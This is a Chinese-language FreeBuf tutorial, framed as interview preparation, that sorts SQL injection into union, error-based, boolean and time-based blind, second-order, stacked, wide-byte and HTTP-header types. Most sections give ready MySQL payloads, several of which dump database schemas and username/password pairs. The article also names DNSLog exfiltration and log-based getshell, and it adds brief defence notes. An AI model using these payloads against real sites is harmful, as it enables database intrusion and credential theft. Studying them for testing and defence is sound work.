freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

面试题sql注入的分类概念性总结
2021-02-28 12:27:26

sql注入的分类

  • 联合查询注入

  • 报错型注入

  • 布尔盲注

  • 时间盲注

  • 二次注入

  • 宽字节注入

  • 堆叠注入

  • HTTP头部注入

在单引号字符型注入的前提下,如果是整型注入,则把单引号和注释符(--+)去掉,若是双引号注入则把单引号换成双引号。

联合查询注入

使用场景

页面上有显示位

什么是显示位:在一个网页正常页面,服务端执行SQL语句查询数据库中的数据库,客户端将数据展示在页面中,这个展示数据的位置就叫显示位。

注意

  • 要求多条查询语句的查询列数是一致的

  • union关键字默认去重,如果使用union all可以包含重复项

union查询注入中,可以先用concat或者是concat_ws将多列结果拼接为一列,再使用group_concat将多行结果在一行输出

payload

  1. 判断是否存在注入,判断注入点类型:

1 and 1=1#(整型)

1 and 1=2#(整型)

1' or '1'='1(字符型)

1' or '1'='2(字符型)

  1. 判断当前数据表中有几列

order by

  1. 查询显示位在第几列(假设一共3列):

-1' union select 1,2,3

注意:这里必须是查询一个不存在的记录才能起作用

  1. 显示当前数据库(假设显示位包含第三位):

-1' union select 1,2,database()

  1. 查看当前数据库中的所有表:

select group_concat(table_name) from information_schema.tables where table_schema=database()

函数group_concat()把所有结果都在一行输出

  1. 查询所有数据库:

select group_concat(schema_name) from information_schema.schemata

  1. 查询某个数据库中的表

select group_concat(table_name) from information_schema.tables where table_schema='security'

  1. 查询某个表中的所有字段:

select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

  1. 查询某个表中的字段内容

select group_concat(username,0x3a,password) from security.users

报错型注入

使用场景

页面上没有显示位但是有sql语句执行错误信息输出

payload

主要有3种SQL注入报错方式:

  • extractvalue

  • updatexml

  • floor

ExtractValue()

它接收两个字符串参数,第一个参数可以传入目标xml文档,第二个参数是用Xpath路径表示法表示的查找路径。这里如果Xpath格式语法书写错误的话,就会报错。

这里就是利用这个特性来获得我们想要知道的内容。

mysql> select ExtractValue('<a><b><b/></a>', '~');
ERROR 1105 (HY000): XPATH syntax error: '~'

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出

mysql> select ExtractValue('<a><b><b/></a>', concat('~', (select database())));

ERROR 1105 (HY000): XPATH syntax error: '~security'

updatexml()

UpdateXML(xml_target, xpath_expr, new_xml)

xml_target:需要操作的xml片段

xpath_expr:需要更新的xml路径(Xpath格式)

new_xml:更新后的内容

不过这些参数都不太重要,这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容

mysql> select updatexml('test', concat('~', (select database())), 'test');

ERROR 1105 (HY000): XPATH syntax error: '~security'



mysql> select updatexml('test', concat('~', (select version())), 'test');

ERROR 1105 (HY000): XPATH syntax error: '~5.7.27-0ubuntu0.18.0.1'

ExtractValue()UpdateXml()类似,它们的第二个参数使用Xpath路径法表示的查找路径。这里如果Xpath格式语法书写错误的话,就会报错。利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

ExtractValue()Updatexml()函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容。利用concat()函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

floor()

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

其他的报错函数:

geometrycollection()

multipoint()

polygon()

multipolygon()

linestring()

multilinestring()

exp()

exp()报错的原理:

exp是一个数学函数,取e的x次方,当我们输入的值大于709就会报错。然后~取反它的值总会大于709,所以报错。

在报错注入中,查询字段的内容,不能用group_concat将所有结果都在一行输出,会出现子查询多于1列的情况。可以直接查询字段名,后面使用limit x,1来显示第x条记录。当需要查询多列内容时,可以使用concat或者是concat_ws拼接不同列的结果字符串,再在后面使用limit x,1来显示第x条记录。

通过updatexml()或者ExtractValue()报错,对输出字符有长度限制,最长为32位。这里可以用分割函数分割出来:

mid(列名,起始位置,[截取长度])

起始位置从1开始,第一个参数可以为sql语句

substr(字符串,起始位置,截取长度)

起始位置是从1开始的,第一个参数可以为sql语句

left()得到字符串左部指定个数的字符

left(字符串,长度)

(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句

布尔盲注

使用场景

页面没有显示位,也没有SQL语句执行错误信息,只能通过页面返回是否正常来判断注入点

payload

数据库名相关

  1. 查询数据库个数

count()

  1. 查询某一个数据库名长度

length(),limit x,1

  1. 查询某个数据库名

limit x,1, substr(str,1,1), ascii()

数据表

  1. 查询表的个数

count()

  1. 查询某个表名的长度

length(), limit x,1

  1. 查看某个表名

limit x,1, substr(str,1,1),ascii()

字段相关

  1. 查看某个表中的字段个数

count()

  1. 查看某个表中字段名长度

length(), limit x,1

  1. 查看某个字段名

limit x,1, substr(str,1,1), ascii()

记录内容相关

  1. 查看表中行数

count(*)

  1. 查看某个字段内容的长度

length(), limit 1,1

  1. 查看某个字段的内容

limit x,1, substr(x,1,1),ascii()

布尔盲注有四个步骤,数据库名相关,数据表,字段相关,记录内容相关。在每个步骤中,需要获取3个基本信息。使用count()查询记录的个数,使用length()和limit x,1查询某条记录的长度。使用limit x,1, substr(), ascii()来查询某条记录的内容。limit x,1的作用是指定一条记录,substr()的作用是截取指定记录的一个字符,ascii()的作用是将截取的字符转换为ascii码,与具体的数值进行比较,从而获取指定记录中某一位具体的字符。

Sql注入截取字符串常用函数

sqlmap中用于布尔盲注

ORD(string):返回字符串首字符的ASCII码值

MID(string, start, length):返回字符串从start开始长度为length的字符串。

IFNULL(string1, string2):如果string1是NULL则返回string2,如果不是NULL返回string1。

CAST(volume as type): 用于数据类型转换,将volume转换成type类型(如这里是将数字转换为字符串)

COUNT(): 统计个数

DISTINCT(): 标记只要不同(唯一)的值

时间盲注

使用场景

页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,如果if条件成立则页面返回速度明显慢了5秒。

常用函数

时间盲注也叫延时注入,一般会用到函数sleep(), BENCHMARK(), 还可以使用笛卡尔积

条件判断函数

if(expre1, expre2, expre3)

当expre1为true时,返回expre2。为false时,返回expre3。

分割函数

substr, substring, left

一般喜欢把分割函数进行编码,编码的好处是可以不使用引号。常用的编码函数有ascii(),hex()

payload

与布尔盲注的思想类似。

如果使用=比较,当expre1为true时,返回sleep(5),否则返回1。因为=只能有一个值满足条件。

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

1.判断数据库的个数

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

2.判断数据库名的长度

id=1' and if((select length(schema_name) from information_schema.schemata)=9, sleep(5), 1) --+

3.查询数据库名

id=1' and if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1)1,1)))=105, sleep(5), 1) --+

二次注入

什么是二次注入

二次注入是指已存储(比如存储在数据库、文件中)的用户输入被读取后,再次进入到SQL查询语句中导致的注入。

原理

有些网站当用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据被插入到数据库中被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询,如果此时没有对读取出的数据进行转义处理,就发生了SQL二次注入。

注意:可能每一次注入都不构成漏洞,但是如果一起使用就可能造成注入

所以,二次注入的防范方式,不仅需要在向数据库插入数据时对特殊字符进行转义,当从数据库中读取数据进行查询的时候,也需要对特殊字符进行转义。

堆叠注入

原理介绍

MySQL 的命令行中,每一条语句以;结尾,这代表语句的结束,如果在注入过程中在;后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。

与 union select 联合查询相比,堆叠查询更加灵活,可以执行任意的 SQL 语句。

局限性

  1. 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎限制。

  2. 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略

这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等。

产生原因

mysqli_multi_query函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。

利用方式

  • DNSLog数据外带

    需要条件:MySQL开启load_file()、DNSLog平台、Windows平台

    Dnslog在SQL注入中的实战

  • 开启日志getshell

    需要条件:Web的绝对路径、MySQL可读写Web。

    因为在Linux下权限控制更严格,所以这种方式在Windows下更容易成功。

    Less-38 开启日志 Getshell

宽字节注入

宽字节注入

以下是常用的URL编码

ASCII值URL编码
\%5C
'%27
"%22
#%23
&%26

宽字节注入的利用条件

  • 查询参数是被单引号包围的,传入的单引号又被转义符\转义,如在后台数据库中对接收的参数使用addslashes()mysql_real_escape_string()或者是其他转义函数

  • 数据库的编码为GBK

    概括的说,就是单引号被转义,但编码为GBK

利用方式

GET形式

id=-1%DF' union select 1,user(),3%23

在上述条件下,单引号'被转义为\',即%5c%27。如果我们在单引号前加上%df,就会构成%df%5c%27,而在GBK编码方式下,%df%5c是汉字"連",所以单引号成功逃逸。

如果是在请求体中,需要使用POST参数。使用Burp Suite抓取请求,然后在单引号(%27)之前添加%df

uname=%df%27 and 1=2 UNION SELECT 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users) #&passwd=2

宽字节注入原理

MySQL在使用GBK编码时,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字。因为转义方法主要就是在敏感字符前面添加反斜杠\,所以这里想办法去掉反斜杠即可。

  • %df吃掉\

    其实这里第一个字符并不局限为%df,只要是在%aa%fe范围内都可以。具体原因是,urlencode(\')=%5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,MySQL在GBK编码方式的时候,会将两个字节当做一个汉字,这个时候就把%df%5c当做是一个汉字%27则作为一个单独的符号'在外面,同时也就达到了我们的目的。

  • \'中的\过滤掉

    例如可以构造%5c%5c%27的情况,后面的%5C会被前面的%5C给注释掉。这也是bypass的一种方法。

addslashes()函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符转义后
\\\
'\'
"\"

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

在使用addslashes()时,我们需要将mysql_query设置为binary的方式,才能够防御此漏洞。

HTTP头部注入

什么是HTTP头注入

Web应用程序中把用户提交的参数未做过滤就直接输出到HTTP响应头中,攻击者可以利用该漏洞来注入HTTP响应头。

概括的说,就是注入点在HTTP响应头中。

常见的HTTP可能存在注入点的参数

User-Agent:浏览器版本

COOKIE: 网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据

X-Forwarded-For:获取HTTP请求端真实IP

Client-IP: 获取IP

Referer:浏览器向Web服务器表名自己是从哪个页面链接过来的

Host:访问的Web服务器的域名/IP和端口号

造成HTTP头注入的原因

在网站代码中,ip,cookie,referer,user-agent等字段与数据库有交互

代码中使用了php超全局变量$_SERVER[]

如何防御

在设置HTTP响应头的代码中,过滤回车换行(%0d%0a)字符

不采用有漏洞版本的Apache服务器

对参数的合法性校验以及长度限制,谨慎的使用用户传入的参数作为HTTP返回包的header设置。

# SQL注入 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录